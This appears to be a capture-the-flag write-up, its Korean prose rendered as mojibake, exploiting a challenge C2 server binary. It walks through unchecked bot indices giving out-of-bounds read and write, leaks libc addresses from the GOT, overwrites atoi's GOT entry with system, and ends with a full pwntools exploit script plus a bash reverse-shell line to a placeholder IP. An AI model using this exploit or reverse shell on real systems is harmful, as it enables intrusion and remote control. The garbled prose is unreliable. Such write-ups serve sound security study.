0x00. Introduction
โ tree .
.
โโโ 8f7c31c3010792cd92b452ac7223128f64189e61ee52fedc107c87a3408a66e9
โโโ cnc
โโโ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
โโโ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2.c
โโโ libc.so.6
์คํ ํ์ผ์ ์๋ฒ์ ์
์ฑ์ฝ๋(์๋ง๋), ์์ค์ฝ๋์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ์ด ์ ๊ณต๋๋ค. ์ฒ์์ ์
์ฑ์ฝ๋๋ก ์ถ์ ๋๋ 8f7c ํ์ผ์ ๋ถ์ํด์ผ ํ๋ ์ถ์๋๋ฐ, ๊ฒฐ๊ตญ์๋ ๋ฌธ์ ์ ์ ํ ๊ด๋ จ์ด ์์๋ค.
[*] '/home/user/cnc/39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
C2 ์๋ฒ ํ์ผ์ธ 39fd์ ์ ์ฉ๋ ๋ณดํธ๊ธฐ๋ฒ์ ์์ ๊ฐ๋ค.
Environment
์ค๋๋ง์ docker ํ๊ฒฝ์ด ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ์ด ์ฃผ์ด์ ธ LD_PRELOAD๋ฅผ ํ๋ ค๊ณ ํ๋๋ฐ, ๋งํน์ด ์ ์๋๋ค.
๊ฒฐ๊ตญ pwninit์ด๋ผ๋ ํด์ ์ฐพ์ ํด๊ฒฐํ๋ค. ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ์ ๋ก๋ํ ์ ์๋ ๋ก๋๋ฅผ ์ฐพ์ ๋ค์ด๋ฐ์ ๋ฟ๋ง ์๋๋ผ ๋ฐ์ด๋๋ฆฌ๋ฅผ ํจ์นํด์ ์ฃผ์ด์ง ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ก๋ํ๊ฒ ๋ณ๊ฒฝํด์ค๋ค. ๊ต์ฅํ ๊ฐ๋จํ๋ฐ ๊ฐ๋ ฅํ ๋๊ตฌ์ธ ๊ฒ ๊ฐ๋ค.
Concept
โ ./39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
[*] Starting server on port 8080...
[*] Server listening on port 8080
C2 ์๋ฒ ํ์ผ์ ์คํํ๋ฉด ์์ ๊ฐ์ด 8080 ํฌํธ๋ฅผ ์ด๊ณ ๋๊ธฐํ๋ค. ์ดํ C2 ํ๋กํ ์ฝ์ ๋ง๋ ์์ฒญ์ด ์์ ๋ ๊ทธ์ ํด๋นํ๋ ๋ก์ง์ ์ํํ๋ค.
0x01. Vulnerability
์ฝ๋๊ฐ ์ฝ 500์ค์ ๋ ๋๋๋ฐ ํ๋์ ์ทจ์ฝ์ ์ผ๋ก exploit์ ์ฑ๊ณตํด์ ๋ค๋ฅธ ์ทจ์ฝ์ ์ด ์์ ์๋ ์๋ค.
void update_bot(int bot_id, const char* data, size_t data_size) {
pthread_mutex_lock(&bots_mutex);
int index = bot_id;
int field_count = 0;
...
while (*ptr && field_count < 8) {
if (*ptr == '|') {
*ptr = '\0';
fields[field_count++] = start;
start = ptr + 1;
}
ptr++;
}
if (field_count < 8) {
fields[field_count++] = start;
}
if (field_count > 0 && strlen(fields[0]) > 0)
memcpy(bots[index].hostname, fields[0], MAX_BUFFER_LEN - 1);
if (field_count > 1 && strlen(fields[1]) > 0)
memcpy(bots[index].username, fields[1], MAX_BUFFER_LEN - 1);
...
printf("[*] Bot updated: ID=%d\n", bot_id);
pthread_mutex_unlock(&bots_mutex);
}
void detail_bot(int bot_id, int client_socket) {
pthread_mutex_lock(&bots_mutex);
char response[BUFFER_SIZE * 4] = {0};
int index = bot_id;
snprintf(response, sizeof(response),
"BOT_DETAIL|%d|%.255s|%.255s|%.15s|%.15s|%.255s|%.255s|%.63s|%.63s|%ld\n",
bots[index].id,
bots[index].hostname,
bots[index].username,
bots[index].public_ip,
bots[index].private_ip,
bots[index].os_info,
bots[index].cpu_info,
bots[index].ram_info,
bots[index].disk_info,
bots[index].last_seen);
send(client_socket, response, strlen(response), 0);
pthread_mutex_unlock(&bots_mutex);
}
update_bot๊ณผ detail_bot์์ index์ ๋ํ ๊ฒ์ฆ์ ํ์ง ์๊ธฐ ๋๋ฌธ์ ๊ฐ๊ฐ OOB write, OOB read ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค.
0x02. Exploit
OOB Read
์ต๋ bots์ ๊ฐ์์ธ MAX_BOTS๊ฐ 1000์ด๋ ๋๊ธฐ ๋๋ฌธ์ bots์ ๋ค ์์ญ๋ณด๋ค๋ ์ ์์ญ์ ๊ด์ฌ์ด ๊ฐ๋ค.
์ฐ์ OOB read๋ฅผ ํ์ฉํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค.
s.sendline(b"DETAIL|-1")
r = s.recv().split(b"|")[1:]
for o, f in zip(order, r):
print(f"{o} : {f}, len {len(f)}")
์ด ๋ ์ถ๋ ฅ๋๋ ๋ด์ฉ์ ๋ค์๊ณผ ๊ฐ๋ค.
id : b'0', len 1
hostname : b'', len 0
username : b'', len 0
public_ip : b'XXXXXXXXXXXXXXX', len 15
private_ip : b'XXXXXXXXXXXXXXX', len 15
os_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 255
cpu_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 32
ram_info : b'\xa0\x95\xd3\xf7\xff\x7f', len 6
disk_info : b'P\xec\xd0\xf7\xff\x7f', len 6
last_seen : b'0\n', len 2
ram_info์ disk_info๋ฅผ ๋ณด๋ฉด libc ์ฃผ์๊ฐ ์ป์ด์ง๋ค. bots ์ ์์ญ์ ํด๋นํ๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ถ๋ ฅํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
gefโค x/46gx 0x0000000000406000
0x406000 <free@got.plt>: 0x00007ffff7cadd30 0x00007ffff7d2bbe0
0x406010 <puts@got.plt>: 0x0000000000401050 0x00007ffff7d2c180
0x406020 <inet_ntoa@got.plt>: 0x00007ffff7d3c400 0x00007ffff7d2ba30
0x406030 <strlen@got.plt>: 0x00007ffff7d8b780 0x00000000004010a0
0x406040 <htons@got.plt>: 0x00007ffff7d395a0 0x00007ffff7d2bec0
0x406050 <printf@got.plt>: 0x00007ffff7c60100 0x00007ffff7c66370
0x406060 <memset@got.plt>: 0x00007ffff7d89440 0x0000000000401100
0x406070 <strcmp@got.plt>: 0x00007ffff7d8afd0 0x00007ffff7c451a0
0x406080 <memcpy@got.plt>: 0x00007ffff7d88a40 0x00007ffff7fc3a40
0x406090 <select@got.plt>: 0x00007ffff7d26bc0 0x00007ffff7ca1a70
0x4060a0 <malloc@got.plt>: 0x00007ffff7cad650 0x00007ffff7c9dc70
0x4060b0 <listen@got.plt>: 0x00007ffff7d2bb50 0x00007ffff7d395a0
0x4060c0 <bind@got.plt>: 0x00007ffff7d2b960 0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>: 0x00007ffff7c28a93 0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>: 0x00007ffff7d2b820 0x00007ffff7c58750
0x4060f0 <strcat@got.plt>: 0x007ffff7d0ec507c 0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>: 0x00007ffff7c9fff0 0x00007ffff7d2c310
0x406110: 0x0000000000000000 0x0000000000000000
0x406120 <server_running>: 0x0000000000000001 0x0000000000000000
0x406130: 0x0000000000000000 0x00000000691bb9f6
0x406140 <completed.0>: 0x0000000000000000 0x0000000000000000
0x406150: 0x0000000000000000 0x0000000000000000
0x406160 <bots>: 0x0000000000000000 0x0000000000000000
์ด๋ ๊ฒ GOT ์์ญ์ ํตํด libc ์ฃผ์๊ฐ ์ถ๋ ฅ๋๋ค. ์ถ๋ ฅ๋ ์ฃผ์๋ ntohs์ sleep์ libc ์ฃผ์์ด๋ค.
OOB Write
๋ฐ๋ผ์ update_bot์ ์ด์ฉํด GOT overwrite ์๋๋ฆฌ์ค๋ฅผ ์๊ฐํ๋๋ฐ, ๊ทธ ๊ณผ์ ์์ ๋ ๊ฐ์ง ์ค์๊ฐ ์์๋ค.
- GOT๋ณด๋ค ์ ์์ญ์๋
r ๊ถํ๋ง ์๊ธฐ ๋๋ฌธ์ hostname, username ๋ฑ์ ์ฐ๋ ๊ณผ์ ์์ Segmentation Fault๊ฐ ๋ฐ์ํจ ntohs์ sleep์ GOT๋ฅผ overwriteํ๋ ค๊ณ ํจ
์ด ์ค์๋ค์ ์ฝ๋๋ฅผ ์ ๋ณด๋ฉด ํ์ง ์์์ ๊ฒ์ด๋ผ์ ํผ๋๋ฐฑ ์ฐจ์์ผ๋ก ๊ธฐ๋กํ๋ค.
if (field_count > 6 && strlen(fields[6]) > 0)
memcpy(bots[bot_index].ram_info, fields[6], MAX_IO_INFO_BUFFER_LEN - 1);
strlen(field[i]) > 0์ผ ๋๋ง memcpy๋ฅผ ํ๊ธฐ ๋๋ฌธ์ field[i]๋ฅผ ๋น์๋๋ฉด hostname, username์ ์ฐ๋ ๊ณผ์ ์ ์คํตํ ์ ์์memcpy๋ก ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํต์งธ๋ก ๋ณต์ฌํ๊ธฐ ๋๋ฌธ์ ๊ตณ์ด ntohs๋ sleep์ด ์๋ ๋ค์ ์๋ ๋ค๋ฅธ ํจ์์ GOT๋ฅผ overwriteํด๋ ๋จ
์๋ฌดํผ OOB write๋ฅผ ์ด์ฉํด GOT overwrite๋ฅผ ํ๊ธฐ ์ํด ntohs ์ดํ์ GOT๋ค์ ์ถ๋ ฅํด๋ณด์๋ค.
0x4060b8 <ntohs@got.plt>: 0x00007ffff7d395a0
0x4060c0 <bind@got.plt>: 0x00007ffff7d2b960
0x4060c8 <pthread_create@got.plt>: 0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>: 0x00007ffff7c28a93
0x4060d8 <strtok@got.plt>: 0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>: 0x00007ffff7d2b820
0x4060e8 <atoi@got.plt>: 0x00007ffff7c58750
0x4060f0 <strcat@got.plt>: 0x007ffff7d0ec507c
0x4060f8 <sleep@got.plt>: 0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>: 0x00007ffff7c9fff0
0x406108 <socket@got.plt>: 0x00007ffff7d2c310
0x406110: 0x0000000000000000
0x406118: 0x0000000000000000
0x406120 <server_running>: 0x0000000000000001
์ ํจ์๋ค ์ค ์ธ์์ ์
๋ ฅ์ ๋ฃ๊ธฐ ์ข์ ํจ์๋ฅผ ์ฐพ์๋ณด์๋๋ฐ, atoi๊ฐ ์ข์๋ณด์๋ค.
void* handle_client(void* arg) {
...
else if (strcmp(cmd, CMD_DELETE) == 0) {
char *bot_id_str = strtok(NULL, "|");
if (bot_id_str) {
int bot_id = atoi(bot_id_str);
delete_bot(bot_id);
char response[] = "DELETED|OK\n";
send(client_socket, response, strlen(response), 0);
}
}
...
}
์๋ฒ์ ์ ๋ฌ๋๋ DELETE| ์ดํ์ ์๋ ๋ฌธ์์ด์ด ๊ทธ๋๋ก bot_id_str์ ๋ค์ด๊ฐ๊ธฐ ๋๋ฌธ์ atoi์ GOT๋ฅผ system์ ์ฃผ์๋ก ๋ฐ๊ฟจ์ ๊ฒฝ์ฐ ์ธ์๋ฅผ ์ ๋ฌํด์ฃผ๊ธฐ ๋งค์ฐ ํธ๋ฆฌํ๋ค. ์ด ๋ ๋ค๋ฅธ ํจ์๋ค์ GOT๋ฅผ ๊ฑด๋ค์ด๋ฉด ์๋ฌ๊ฐ ๋ ํ๋ฅ ์ด ๋๊ธฐ ๋๋ฌธ์ ๊ธฐ์กด ๊ฐ๋ค์ ์ ์งํด์ค์ผ ํ๋ค.
๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค.
payload = b"UPDATE|-1|"
payload += b"|" * 6
payload += p64(libc_base + lib.symbols['ntohs'])
payload += p64(libc_base + lib.symbols['bind'])
payload += p64(libc_base + lib.symbols['pthread_create'])
payload += p64(libc_base + lib.symbols['perror'])
payload += p64(libc_base + lib.symbols['strtok'])
payload += p64(libc_base + lib.symbols['accept'])
payload += p64(libc_base + lib.symbols['system']) payload += b"|"
payload += p64(sleep_addr)
s.sendline(payload)
print(s.recv())
payload = b"DELETE|"
payload += b"/bin/sh"
s.sendline(payload)
print(p.recv())
์ฌ๊ธฐ์์๋ system์ ์ธ์๋ก /bin/sh๋ฅผ ์ ๋ฌํด๋ ์ถฉ๋ถํ๋๋ฐ, ํ๊ฒฝ์ ๋ฐ๋ผ์๋ ๋ค์๊ณผ ๊ฐ์ ์ธ์๊ฐ ํ์ํ ์๋ ์๋ค.
bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'
0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2_patched"
LIBRARY = "libc.so.6"
CONTAINER = ""
code_base = 0x555555554000
bp = {
'main' : code_base + 0x16ae,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
p = process(BINARY)
if debug:
gdb.attach(p, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
order = ["id", "hostname", "username", "public_ip", "private_ip", "os_info", "cpu_info", "ram_info", "disk_info", "last_seen"]
print(p.recvuntil(b"8080\n"))
s = remote("127.0.0.1", 8080)
s.sendline(b"DETAIL|-1")
r = s.recv().split(b"|")[1:]
for o, f in zip(order, r):
print(f"{o} : {f}, len {len(f)}")
ntohs_addr = u64(r[-3] + b"\x00\x00")
sleep_addr = u64(r[-2] + b"\x00\x00")
libc_base = sleep_addr - lib.symbols['sleep']
log.info(f"ntohs_addr : {hex(ntohs_addr)}")
log.info(f"sleep_addr : {hex(sleep_addr)}")
log.info(f"libc_base : {hex(libc_base)}")
payload = b"UPDATE|-1|"
payload += b"|" * 6
payload += p64(libc_base + lib.symbols['ntohs'])
payload += p64(libc_base + lib.symbols['bind'])
payload += p64(libc_base + lib.symbols['pthread_create'])
payload += p64(libc_base + lib.symbols['perror'])
payload += p64(libc_base + lib.symbols['strtok'])
payload += p64(libc_base + lib.symbols['accept'])
payload += p64(libc_base + lib.symbols['system']) payload += b"|"
payload += p64(sleep_addr)
s.sendline(payload)
print(s.recv())
payload = b"DELETE|"
payload += b"/bin/sh"
s.sendline(payload)
print(p.recv())
p.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)